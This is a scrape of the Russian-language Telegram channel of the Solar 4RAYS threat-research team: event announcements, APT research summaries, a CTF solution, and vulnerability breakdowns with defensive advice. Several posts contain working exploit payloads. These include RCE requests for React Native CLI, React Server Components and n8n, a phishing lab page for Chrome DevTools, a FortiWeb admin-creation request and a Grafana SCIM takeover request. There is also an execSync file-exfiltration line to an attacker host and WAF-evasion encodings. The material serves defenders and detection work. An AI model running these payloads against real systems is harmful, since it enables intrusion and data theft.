Четыре луча – Telegram
Четыре луча
3.9K subscribers
86 photos
99 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября 

Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили.

🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках
18 ноября, 10:30, зал 3
Разберем ход расследования APT-кампании, в которой через уязвимость развернули неизвестный Rust-имплант с поддержкой множества сетевых режимов и сложной инфраструктурой C2. Поделимся выводами по реверсу Rust и детектированию угроз.


🫡 Змеиная Rustамания: новые инструменты Shedding Zmiy»
20 ноября, 11:30, зал 3
В одной из атак группировка Shedding Zmiy использовала вредоносные инструменты, написанные на Rust: Mycelium, Leech и Octopus. Эти утилиты — серьезная угроза для инфраструктуры жертвы. Расскажем об инструментах и методах, которые упростят технический анализ вредоносов на Rust.


🫡 (EDR) — Evading Detection to Ring 0
20 ноября, 12:45, зал 3
Рассмотрим варианты получения телеметрии в ОС Windows на каждом из уровней (EventLog/Sysmon/ETW/WinAPI Callbacks), а также приведем методы обхода каждого из них. Еще покажем методы детектирования подобного рода техник.


🫡 В джунглях персиста: изощренные техники закрепления
20 ноября, 13:45, зал 3
Работа DFIR-инженера — это не только проверка стандартных способов закрепления в системе, но и её глубокий анализ. Мы отправимся в глухие джунгли программ и компонентов, где обитают хитрые и нестандартные способы закрепления. Наш доклад — это отчет об экспедиции на эту опасную территорию.

 
А ещё приготовили наш традиционный квест с тасками Defense, Offense и Osint. Как обычно, правильные флаги обменяем на мерч.

Принять участие →
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥157🤝52💯1👾1
Фишинговая кампания Erudite Mogwai в России 👀

В мае 2025 года мы обнаружили интересную целевую фишинговую рассылку, в которой применялся не самый распространенный метод доставки вредоносных файлов — сервис одноразовых ссылок, принадлежащий организации-жертве.

После детального исследования обнаружили несколько аналогичных рассылок, которые проводились во второй половине 2024 года. Эти фишинговые рассылки мы отнесли к деятельности группировки Erudite Mogwai (Space Pirates).

Читайте подробности в нашей новой статье!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍541🤔1💯1👾1
RCE в React Native CLI (CVE-2025-11953)

CVE-2025-11953 — уязвимость, которая позволяет неаутентифицированным пользователям выполнять произвольные команды оболочки (RCE) или запускать произвольные исполняемые файлы в пакете @react-native-community/cli-server-api версий с 4.8.0 по 20.0.0-alpha.2

😳 Метрики
Base Score: 9,8 (CRITICAL)
CWE: CWE-78


😳 Об уязвимости
Не подвержены уязвимости разработчики, которые используют React Native с фреймворком, но не берут Metro в качестве сервера разработки. В уязвимых версиях @react-native-community/cli-server-api функция openURLMiddleware содержит код:

async function openURLMiddleware(req: IncomingMessage, ...) {
if (req.method === 'POST') {

const {url} = req.body as {url: string};

await open(url);

}
next();
}
export default connect().use(json()).use(openURLMiddleware);


Значение параметра url, отправленного в JSON теле POST-запроса, предаётся в open() без надлежащий валидации.

Исправление:
    try {
const parsedUrl = new URL(url);
if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:') {
res.writeHead(400);
res.end('Invalid URL protocol');
return;
}
} catch (error) {
res.writeHead(400);
res.end('Invalid URL format');
return;
}

await open(url);


Исправление проверяет, что параметр url означает именно URL в new URL с протоколом http/https в if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:').

💡 Дополнительная особенность уязвимости — сервер по умолчанию будет прослушивать внешние соединения 0.0.0.0:[port].

Важно: поведение open() отличается между Windows и Unix подобными системами.

☀️ На Windows уязвимости RCE возникают из за формирования одной строковой команды. Например, cmd /c start "" /b cmd /c echo abc > c:\temp\pwned.txt.
☀️ На macOS/Linux open/xdg-open запускаются без shell и ожидает, что каждый аргумент будет отдельной строкой, но остаются другие риски (URI обработчики, file://, сетевые схемы).

Короче: Windows — риск RCE через командную строку, macOS/Linux — риск через URI обработчики и file:/// smb://.

Уязвимая конечная точка: /open-url.

😳 Пример эксплуатации RCE для Windows
curl -X POST http://metro-server-host:8081/open-url -H "Content-Type: application/json" -d "{\"url\":\"cmd /c echo abc ^> c:\\temp\\poc.txt\"}"


😳 Как защищаться
1) Обновиться.
2) Запускать сервер строго на localhost.
3) Написать блокирующее правило (IDS/WAF) на POST-запросы, которые идут к конечной точке /open-url, где в качестве значения параметра url передается строка отличная от http(s)://[domain].[exp].
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4👀1👾1
Лабораторная работа CVE-2025-12907

Уязвимость CVE-2025-12907 связана с недостаточной проверкой ненадежного ввода в инструментах разработчика (Devtools) Google Chrome в версиях до 140.0.7339.80.

🫡 Метрики
CWE: CWE-20


🫡 Об уязвимости
Текущая реализация DevTools «Копировать как cURL (cmd)» не очищает символ табуляции (\t). Так как cmd.exe интерпретирует табуляцию как разделитель (аналог пробела), злоумышленник может вставить в полезную нагрузку символ табуляции, затем символ разделителя команд (например, &) и перевод строки. В результате аргумент cURL будет проигнорирован и при вставке текста в командную строку выполнятся дополнительные произвольные команды.

Рекомендуем обновиться.

🫡 Лабораторный стенд
Windows 7/10/11
Google Chrome < 140.0.7339.80
Html код (ниже)
Python3

Протестировано на Windows 7 и Google Chrome Version 109.0.5414.120 (Official Build) (32-bit).

😬 Этапы лабораторной работы
1) Создайте и сохраните страницу на сервере. Для примера эта будет фишинговая страница с сообщением «Техническая поддержка не работает» и просьбой отправить тестовый сURL. Название файла — lab_cve-CVE-2025-12907.html.

2) Запустите http-сервер через python3 -m http.server 8111. Если хотите указать путь до файла, то используйте флаг.
  --directory /example


3) Откройте Google Chrome с уязвимой версией и переходите на страницу с вредоносным кодом, в нашем случае это lab_cve-CVE-2025-12907.html.

4) Откройте DevTools - > network -> обновите страницу -> выберите запрос -> копировать -> копировать как cURL(cmd).

5) Вставьте полученный код в консоль (cmd). Если появилось сообщение «Продолжить», нажмите Enter.

6) Результат — открытые calc.exe.

😬 Html код (lab_cve-CVE-2025-12907.html)
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<noscript>Тех поддержка не работает</noscript>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
color: #333;
padding: 40px;
max-width: 600px;
margin: auto;
}
h1 {
color: #c0392b;
text-align: center;
margin-bottom: 20px;
}
p {
font-size: 18px;
line-height: 1.5;
background: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
code {
background-color: #eee;
padding: 3px 6px;
border-radius: 3px;
font-family: monospace;
}
</style>
</head>
<body>
<h1>Техническая поддержка не работает</h1>
<p>Пример тестового сетевого запроса с помощью <code>fetch</code>. Чтобы проверить сеть, откройте F12, скопируйте запрос как <code>cURL(cmd)</code> и отправьте его через консоль.</p>

<noscript>
fetch("/copy-me", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
body: "\t \t\t \r\ncalc.exe \t \t\f\v",
method: "POST",
});
</noscript>
</body>
</html>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12421👾1
Shedding Zmiy против популярной CMS

Когда анализировали инструментарий проукраинской группировки Shedding Zmiy, мы наткнулись на необычную утилиту. Она называлась Install.

👀 Мы детально проанализировали утилиту и выяснили, что она (если получит несанкционированный доступ к веб-серверу) предназначалась для расширения привилегий в инфраструктуре через уязвимость (нулевого дня на тот момент) в настройках веб-сервера из инструмента «виртуальная машина», который используется для быстрого развертывания популярной российской CMS Bitrix.

Про уязвимость мы уже писали у нас в канале. Она закрыта, и если вы не обновились, то сделайте это скорее.

В новой статье в блоге рассказываем о механизме действия уязвимости, а также о правилах безопасного управления правами доступа, которыми затрудняют жизнь атакующих.
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥6🤯4👾1
Критическая уязвимость Fortinet FortiWeb (CVE-2025-64446)

CVE-2025-64446 — уязвимость обхода относительного пути в Fortinet. Уязвимые версии: Fortinet FortiWeb 8.0.0–8.0.1, FortiWeb 7.6.0–7.6.4, FortiWeb 7.4.0–7.4.9, FortiWeb 7.2.0–7.2.11, FortiWeb 7.0.0–7.0.11.

👽 Метрики
Base Score: 9.8 CRITICAL
CWE: CWE-23


👽 Об уязвимости
Сканирования системы могут начаться с простого — с проверки доступности фала fwbcgi. Файл fwbcgi отвечает за обработку определённых запросов CGI, в том числе аутентификацию и выполнение административных команд.

Сканирование на доступность начинается с GET- или POST-запроса на:
/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi


Ответ:
{"errcode": "0", "message": "(null)"}


Означает: файл доступен.

Уязвимость усугубляется тем, что злоумышленник может отправить запрос на создание нового пользователя с ролью «Администратор». Для этого отправляется POST на вышеуказанный /../../../../../cgi-bin/fwbcgi с заголовками вида (указано в формате ключ – значение):
{'CGIINFO': 'eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==', 'Content-Type': 'application/x-www-form-urlencoded'}


И телом, которое представляет собой JSON с данными нового пользователя.

Небольшое уточнение: часть /api/v регистронезависима.

👽 Как защищаться
1) Блокирующее правило WAF/IDS на запросы к /api/v.., которые содержат в пути попытки обхода директорий ../. Также необходимо учесть, что злоумышленник в атаках может использовать методы обхода стандартных сигнатур WAF/IDS. Например, как на скриншоте.

2) Проверка обращений к /fwbcgi из внешней сети.

3) Обновление.

4) Ревизия недавно созданных пользователей.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥642👾1
Четыре луча
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября  Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили. 🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках 18 ноября, 10:30, зал 3 Разберем ход расследования…
Расскажем интересное на SOC Forum уже сегодня!

18 и 20 ноября на форуме выступят эксперты Solar 4RAYS. Расписание наших выступлений публиковали раньше.

Ждем вас в Тимирязев Центре и на онлайн-трансляции ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥126😎3
Следующая остановка — ZeroNights!

SOC Forum закончился, но впереди еще одна классная конференция по кибербезопасности — ZeroNights. Если вы (как и мы) планируете 26 ноября быть в Санкт-Петербурге и заглянуть в гости к Матришу, то у нас для вас послание:

NWQgM2MgMzEgMmMgMjcgMTQgNjQgN2MgNzkgMDggNGQgMWQgMzQgMDYgMzIgNjYgMTcgMWUgMzAgMWQgNjk=

Расшифровали и ничего не поняли? Все подробности на нашем стенде 26 ноября. До встречи ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
23👏9🥰7🤡2👍1🔥1👾1
Повышение привилегий в Grafana Enterprise (CVE-2025-41115)

CVE-2025-41115 — уязвимость связана с ошибкой в обработке идентификаторов пользователей через SCIM. Система позволяет создать пользователя с внешним идентификатором (externalId) числового вида, например «1», который может совпадать или интерпретироваться как внутренний ID пользователя в Grafana.

Уязвимые версии Grafana Enterprise: 12.0.0 ≤ версия ≤ 12.2.1

😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-266


😬 Об уязвимости
Она возникает при установке флагов [feature_toggles] enableSCIM = true и [auth.scim] user_sync_enabled = true в конфигурации Grafana.

Grafana напрямую сопоставляет SCIM externalId с внутренним user.uid, поэтому числовые значения «1» и другие могут быть интерпретированы как внутренние числовые идентификаторы пользователей. ExternalId — этот параметр контролирует злоумышленник в POST-запросах.

Пример запроса, который эксплуатирует уязвимость:
POST /api/scim/v2/Users HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Authorization: Bearer glsa_00000000000000000000000000000000_00000000000000000000000000000000
Content-Type: application/scim+json
Content-Length: 239

{"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "userName": "adminLol", "externalId": "1", "name": {"formatted": "Pwned User"}, "emails": [{"value": " adminLol ", "primary": true}], "active": true}


/api/scim/v2/Users — конечная точка для управления пользователями. Например, чтобы создать пользователя через POST-запрос.

Authorization — заголовок авторизации: его значение могут скомпрометировать или использовать дефолтное значение, как в публичных эксплойтах.

Body — это спецификация SCIM RFC 7644. В теле запроса и содержится параметр externalId, который вызывает коллизию.

😬 Как защищаться
1) Регулярно обновляться.

2) Анализировать запросы к /api/scim/v2/Users из внешних сетей с заголовком Authorization, у которого значения отличаются от сгенерированных или выданных токенов.

3) Анализировать запросы к /api/scim/v2/Users из внешних сетей с параметром externalId, который содержит небольшие значения, например 1-10.

4) Если нельзя быстро обновиться, то установить enableSCIM = false и [auth.scim] user_sync_enabled = false.

Другой вариант — написать блокирующие IDS/WAF-правила на POST-запросы к /api/scim/v2/Users со значением externalId, которое равно числам в диапазоне, например 1-10.
Please open Telegram to view this post
VIEW IN TELEGRAM
13🔥31👍1👀1👾1
NGC5081 атакует телеком с помощью продвинутого бэкдора IDFKA 👁

В конце мая эксперты Solar 4RAYS подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения Solar JSOC о выполнении bash-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры.

💡 Поиск источника активности привел нас к подрядчику этой организации — IT-компании, которая администрировала эту базу данных. В сети подрядчика мы обнаружили минимум две группировки атакующих, одна из которых (мы назвали ее NGC5081) использовала ранее неизвестный бэкдор на языке Rust — мы назвали его IDFKA.

С помощью этого бэкдора атакующие 10 месяцев сохраняли доступ к IT-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов с информацией об абонентах и метаинформацией об их звонках.

Подробности — в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👀54👻1👾1
Mycelium, Octopus и Leech — рассказываем о новом инструментарии группировки Shedding Zmiy

В марте мы выпустили статью о новых инструментах Shedding Zmiy. В том же инциденте мы обнаружили не только руткиты Puma и Kitsune, но и еще несколько новых утилит, написанных на Rust, которые могут использовать злоумышленники для закрепления в системе и постэксплуатации.

Обратили внимание и на техники, которые используют данные вредоносы, и то, как они взаимодействуют между собой. В новой статье рассматриваем:

— как утилиты помогают повысить привилегии;
— каким образом происходит закрепление в системе и дальнейшая маскировка;
— какие возможности получает злоумышленник при попадании этих вредоносов в систему.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥146🤯4👾1
Решение задания с ZeroNights

Всем участникам конференции ZeroNights мы предлагали пройти квест. Были те, кто справился — молодцы, поздравляем! Но еще подготовили разбор задания для всех желающих.

😬 На входе участник получал дамп сетевого трафика в формате .pcap. При его детальном анализе он мог заметить локальный TFTP-трафик от 127.0.0.1 к 127.0.0.1. Ему нужно было воспользоваться функцией Wireshark, которая позволяет экспортировать передаваемые объекты данного протокола, чтобы получить архив Important.zip.

В архиве три файла:
- doc.txt
- photo.png
- song.wav


Текстовый документ открывается в любом редакторе. Внутри такое сообщение:
My pet's name: Solar
The rest is hidden in the image.


На photo.png — роботизированная собака. С помощью подсказки участник должен был проанализировать изображение и заметить встроенный текстовый chunk (tEXt):
SECRET=ik42


😬 Дальше было важно понять, для чего нужен этот фрагмент. Для этого нужно проанализировать последний файл из архива song.wav, который при открытии издает монотонный звук.

Файл выглядит как обычный .wav, но его размер подозрительно большой. При подробном анализе файла можно было заметить намеренно оставленный маркер GPG_START. И если вытащить не связанную со звуком информацию в HEX-редакторе и сохранить её в отдельном файле, то участник получит file fs.gz.gpg.

Это зашифрованный gzip-архив. Пароль для его расшифровки — фрагменты Solar + ik42. Архив содержал в себе файловую систему fs, которую нужно было смонтировать:
sudo mount -o loop fs mnt
ls -R mnt
mnt/
└── secret_dir
└── final.txt


Текстовый документ содержал в себе флаг к этой задаче:
Solar4Rays{S0RR4_F0R_ST3G0_AG41N}


Это финал! Ставим лайк победителям квеста ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥349😁53👍1👾1
Evading Detection to Ring0

Задумывались ли вы о том, как работают инструменты сбора телеметрии, которые вы используете у себя в инфраструктуре? Знаете ли их потенциальные слабые места?

Злоумышленники постоянно ищут и успешно находят способы обхода различных защитных решений, а также стараются вести себя в скомпрометированной инфраструктуре как можно тише. Если вы не будете хотя бы иногда думать о первых двух вопросах, то очень вероятно, что злоумышленники смогут обмануть защиту.

Мы подумали, разреверсили EventLog, Sysmon и ядро операционной системы Windows, а по итогам исследования выпустили статью, в которой рассказываем:
😬 как работает EventLog от момента генерации события до его получения в журналах;
😬 как работает широко известный Sysmon;
😬 что такое ETW и с чем его едят;
😬 как можно собирать телеметрию о WinAPI-вызовах;
😬 какие есть способы обхода перечисленных средств сбора телеметрии.

Также о нашем исследовании мы рассказывали на SOC Forum 2025. Ищите запись на Rutube.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥189🎉6🌚1👾1
Критическая уязвимость CVE-2025-55182

Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный JS-код.

Уязвимые версии: React 19.0.0, React 19.1.0, React 19.1.1, React 19.2.0 пакетов react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack.

😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-502


😬 Кратко об уязвимости
Из-за ошибки в десериализации протокола Flight злоумышленник может выполнить произвольный JavaScript-код на сервере через прототипное загрязнение. При обработке фрагментов и попытке разрешить ссылки React не проверял, существует ли запрошенный ключ в самом объекте. Это и приводило к загрязнению прототипа.

Flight-протокол допускает ссылки вида $1:key1:key2:...:keyN:
$1:__proto__:constructor:constructor


Протокол разбирает это так: взять фрагмент 1 -> получить поле __proto__ -> получить constructor -> опять получить constructor. Если нет проверки «является ли поле собственным свойством объекта», интерпретатор переходил в прототип, затем в Function constructor и в итоге получал сам конструктор функции.

😬 Примеры
Cтандартная нагрузка в большинстве эксплойтов:
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('CODE');", "_formData": {"get": "$1:constructor:constructor"}}}


😬 Какие еще вариации полезных нагрузок есть и к каким последствиям может привести уязвимость

RCE
process.mainModule.require('child_process').execSync('CODE'); 

Вызов CODE через execSync — синхронную функцию, которая выполняет команду ОС. Инъекция происходит вслепую.

process.mainModule.require('child_process').execSync('CODE').toString().trim();;throw Object.assign(newError('NEXT_REDIRECT'),{digest: NEXT_REDIRECT;push;/login?a=${res};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Аналог вышестоящей команды, но с выводом результата команды в заголовке x-action-redirect.

process.mainModule.require('child_process').spawnSync('CODE', { shell: true, stdio: 'ignore' })

Вызов CODE через spawnSync — синхронную версию функции, которая позволяет запускать внешние процессы напрямую. Инъекция происходит вслепую.

SSRF
process.mainModule.require('https').request({hostname:HOST',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('FILE'));

Выполнение SSRF через require('https'). HOST — сервер под контролем злоумышленника, FILE — содержимое файла, которое будет передано на HOST.

Bypass WAF/IDS
Для обхода сигнатур WAF/IDS злоумышленник может использовать Unicode:
:__proto__:then  -> \u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e


Или строку CODE могут закодировать в base64 так:
execSync(Buffer.from('Q09ERQ==','base64').toString())


Так можно изменить с помощью String.fromCharCode — встроенной JavaScript-функцией, которая создаёт строку из набора числовых кодов символов.
process.mainModule.require('child_process').execSync('CODE');  ->  Function('return '+String.fromCharCode(112,114,111,99,101,115,115))().mainModule.require('child_process').execSync('CODE’)


Техники можно комбинировать, что усложняет обнаружение.
 \u0046\u0075\u006e\u0063\u0074\u0069\u006f\u006e('return '+String.fromCharCode(112,114,111,99,101,115,115))...


😬 Итог
Обнаружить классическими сигнатурами сложнее из-за вариативности нагрузок и методов обфускации, но лучше иметь какую-то защиту.

Рекомендуем написать правило на WAF/IDS, которое будет блокировать запросы вида метод POST, а также заголовки next-action или x-rsc-action. В том числе если тело запроса содержит ссылки $B, $@, $Q или их Unicode представления и опасные JS-методы или функции, например child_process, String.fromCharCode, _proto_, execSync ,spawnSync, _chunks, _formData, _response, toString. Нужно регистронезависимое правило.

Но самый лучший вид защиты — обновление уязвимых пакетов до новых версий.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17733
WMI Persist, который Sysmon не видит

В Windows есть довольно старая техника закрепления через подписчики WMI. Суть в том, что злоумышленник обращается к классам пространства имен ROOT\Subnoscription (Скриншот 1) и создает три сущности:

1️⃣ EventFilter — фильтр, который по указанной логике отрабатывает на события, например запуск процесса с характерными параметрами.

2️⃣ EventConsumer — сущность, которая описывает, что произойдет, когда срабатывает фильтр.

3️⃣ FilterConsumerBinding — отвечает за создание связи между определенными EventFilter и EventConsumer.

Таким образом, злоумышленник в ответ на определенные события в системе (например, SystemStartup) может прописать запуск своего пэйлоада и закрепиться. У Sysmon есть отдельные события на эту активность:

🫡 EventId 19 — WmiEventFilter activity detected, срабатывает на регистрацию WMI-фильтра.

🫡 EventId 20 — WmiEventConsumer activity detected, срабатывает на регистрацию WMI Consumer.

🫡 EventId 21 — WmiEventConsumerToFilter activity detected срабатывает на регистрацию связи между WMI Consumer и WMI Filter.

Этот тип закрепления видно, к примеру, в утилите Autoruns (скриншот 2).

Но у принципа сбора WMI-событий в Sysmon существует недостаток, который заключается в том, что события собираются только из пространства имен ROOT\Subnoscription.

Дело в том, что в пространстве имен ROOT\Default есть аналогичные классы (скриншот 3), которые можно использовать для этого типа закрепления.

📍 Если Filter, Consumer и Binding будут созданы через это пространство имен, то Sysmon не сгенерирует никаких событий, а закрепление пройдет успешно.

Если хотите более подробно ознакомиться с тем как Sysmon собирает WMI-события, читайте в нашей статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👏5💅52🤔2👍1🤩1
Rust: как бороться с ночным кошмаром реверс-инженеров 👀

Часто при исследовании вредоносов на Rust создают сигнатуры для используемых крейтов. Это помогает распознать библиотечные функции внутри исполняемого файла. Но если не знать параметров оптимизации, с которыми был скомпилирован вредонос, сигнатуры могут получиться некачественными и тогда не удастся распознать большое количество функций.

Мы разработали и выложили в открытый доступ скрипт, который может подобрать наиболее подходящие параметры оптимизации для того, чтобы создавать более эффективные сигнатуры. Как его можно применить на практике и какой еще эффективный метод исследования Rust-вредоносов есть, читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1692🤓2
Четыре луча
Критическая уязвимость CVE-2025-55182 Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный…
Дополнительно к CVE-2025-55182

Стало известно еще о двух уязвимостях в React Server Components:

1. CVE-2025-55184 (CVE-2025-67779) — угроза типа «отказ в обслуживании». Уязвимы версии до 19.0.3, 19.1.4 и 19.2.3.
2. CVE-2025–55183 — угроза раскрытия исходного кода.

🫡 Метрики
CVE-2025–55184
Base Score: 7,5
CVE-2025–55183
Base Score: 5,3


🫡 Об уязвимости CVE-2025–55183
Уязвимость возникает при десериализации вредоносного запроса, где сервер возвращает исходный код вместо ожидаемого ответа. Для эксплуатации уязвимости необходимо иметь серверную функцию, которая явно или неявно предоставляет строковый аргумент.

🫡 Об уязвимости CVE-2025–55184
Уязвимость возникает при десериализации вредоносного запроса, который вызывает бесконечный цикл, что в свою очередь ведет к большому потреблению ресурсов сервера.

🫡 Пример CVE-2025–55183
Content-Disposition: form-data; name="0"
["$F1"]
------SourceLeak
Content-Disposition: form-data; name="1"
{"id":"40253f19fa8f907f9b5ea79d831ed8ce7f3cb46e15","bound»: null}
------SourceLeak—


🫡 Пример CVE-2025–55184
Content-Disposition: form-data; name="0"; filename=""

"$@0"
--36bd33c14b4a09f0b880ae771a9a66af--


🫡 Как защититься
Правило может выглядеть так: POST-запрос плюс заголовки next-action или x-rsc-action плюс наличие в теле маркеров $B, $@, $Q, $F либо их Unicode-представления.
Please open Telegram to view this post
VIEW IN TELEGRAM
12🔥9👀52
Критическая уязвимость в n8n CVE-2025–68613
Дополнительно — лабораторная работа

CVE-2025–68613 — уязвимость выполнения удаленного кода у авторизированных пользователей в n8n. Уязвимы версии меньше 1.120.4, 1.121.1 и 1.122.0. FOFA сообщает более чем о полумиллионах доступных инстансов n8n по всему миру, в том числе и в России.

🫡 Метрики
Base score: 9.9 critical
CWE: CWE-913


🫡 Об уязвимости
В n8n существует возможность установки set-ноды, в значении которой можно передать Java Script–код, что приводит к RCE. В ручном тестировании атака выглядит так.

1) Создают workflow.
2) Выбирают Set-ноду.
3) Выбирают тип данных String.
4) Устанавливают value-значение в формате {{CODE}}.
5) execute step.

Например, value может выглядеть так:
{{ (function() { var require = this.process.mainModule.require; var { execSync } = require("child_process"); return execSync("id", { encoding: "utf8" }).trim(); })() }}


Смягчающий фактор: для атаки нужно авторизироваться.

🫡 Пример атаки

Запрос:
{"workflowData":{"name":"cmd","nodes":[{"parameters":{},"type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[0,0],"id":"8609d8a2-6b0e-4029-acfc-f9fd0c8e2d37","name":"When clicking ‘Execute workflow’"},{"parameters":{"assignments":{"assignments":[{"id":"e576a768-68f6-450c-99d5-089122627914","name":"","value":"={{ (function() { var require = this.process.mainModule.require; var { execSync } = require(\"child_process\"); return execSync(\"id\", { encoding: \"utf8\" }).trim(); })() }}","type":"string"}]},"options":{}},"type":"n8n-nodes-base.set","typeVersion":3.4,"position":[208,0],"id":"e385a6e4-f0dc-4b52-b5c1-5b594f49e56e","name":"Edit Fields"}],"pinData":{},"connections":{"When clicking ‘Execute workflow’":{"main":[[{"node":"Edit Fields","type":"main","index":0}]]}},"active":false,"settings":{},"tags":[],"versionId":"9ca41c70-8dc0-4fde-9e7c-6b5f99040518","meta":null,"id":"IlnKYKYHiRWvL7Gp"},"runData":{},"startNodes":[],"destinationNode":"Edit Fields"}


Часть ответа:
"data":"[{\"startData\":\"1\",\"resultData\":\"2\",\"executionData\":\"3\"},{\"destinationNode\":\"4\",\"runNodeFilter\":\"5\"},{\"runData\":\"6\",\"pinData\":\"7\",\"lastNodeExecuted\":\"4\"},{\"contextData\":\"8\",\"nodeExecutionStack\":\"9\",\"metadata\":\"10\",\"waitingExecution\":\"11\",\"waitingExecutionSource\":\"12\"},\"Edit Fields\",[\"13\",\"4\"],{\"When clicking ‘Execute workflow’\":\"14\",\"Edit Fields\":\"15\"},{},{},[],{},{},{},\"When clicking ‘Execute workflow’\",[\"16\"],[\"17\"],{\"startTime\":1766556431228,\"executionIndex\":0,\"source\":\"18\",\"hints\":\"19\",\"executionTime\":1,\"executionStatus\":\"20\",\"data\":\"21\"},{\"startTime\":1766558489574,\"executionIndex\":1,\"source\":\"22\",\"hints\":\"23\",\"executionTime\":4,\"executionStatus\":\"20\",\"data\":\"24\"},[],[],\"success\",{\"main\":\"25\"},[\"26\"],[],{\"main\":\"27\"},[\"28\"],{\"previousNode\":\"13\",\"previousNodeOutput\":0,\"previousNodeRun\":0},[\"29\"],[\"30\"],[\"31\"],{\"json\":\"32\",\"pairedItem\":\"33\"},{\"json\":\"34\",\"pairedItem\":\"35\"},{},{\"item\":0},{\"\":\"36\"},{\"item\":0},\"uid=1000(node) gid=1000(node) groups=1000(node)\"]


🫡 Лабораторная
В комментариях прикрепили docker-файл, который необходимо скачать. Далее выполнить docker-compose up. После установки в консоли вы увидите адрес и порт n8n-сервиса, на него необходимо перейти и закончить настройку. Далее необходимо выполнить все шаги выше.

🫡 Как защищаться
Блокировать POST-запросы на /rest/workflows, где значение переменой value ноды set передается строка вида {{CODE}}. CODE можно заменить на опасные JS-функции, например, require, child_process, execSync, toString и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥193🤔31
Вскрываем bincrypter

В атаках на *nix нам периодически попадаются бинари, которые обфусцированы с помощью bincrypter — не самого сложного, но практичного инструмента. Он способен упаковывать исполняемые файлы и shell-скрипты в обфусцированный bash-скрипт, прячет логику расшифровки среди непечатного мусора, динамически собирает eval-конструкции и использует AES-256-CBC вместе с gzip. В результате сигнатурный и поверхностный статический анализ заметно усложняются.

👍 В новой статье мы подробно разбираем архитектуру bincrypter: как формируются секции shebang/init/payload, зачем нужен offset R, как обфусцируются base64-строки и каким образом выполняется финальная расшифровка нагрузки. Отдельно показываем, как извлекать ключевые переменные, чистить мусор и восстанавливать исходный исполняемый файл.

Также в статье есть YARA-правило для детекта bincrypter-обфусцированных файлов, а также наш новый инструмент bindecrypter, который автоматизирует весь процесс деобфускации. Если вы сталкиваетесь с *nix-имплантами, материал поможет быстрее пройти путь от обфусцированного скрипта до исходного бинаря.

И да, с наступающими! ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2095👍4🤯1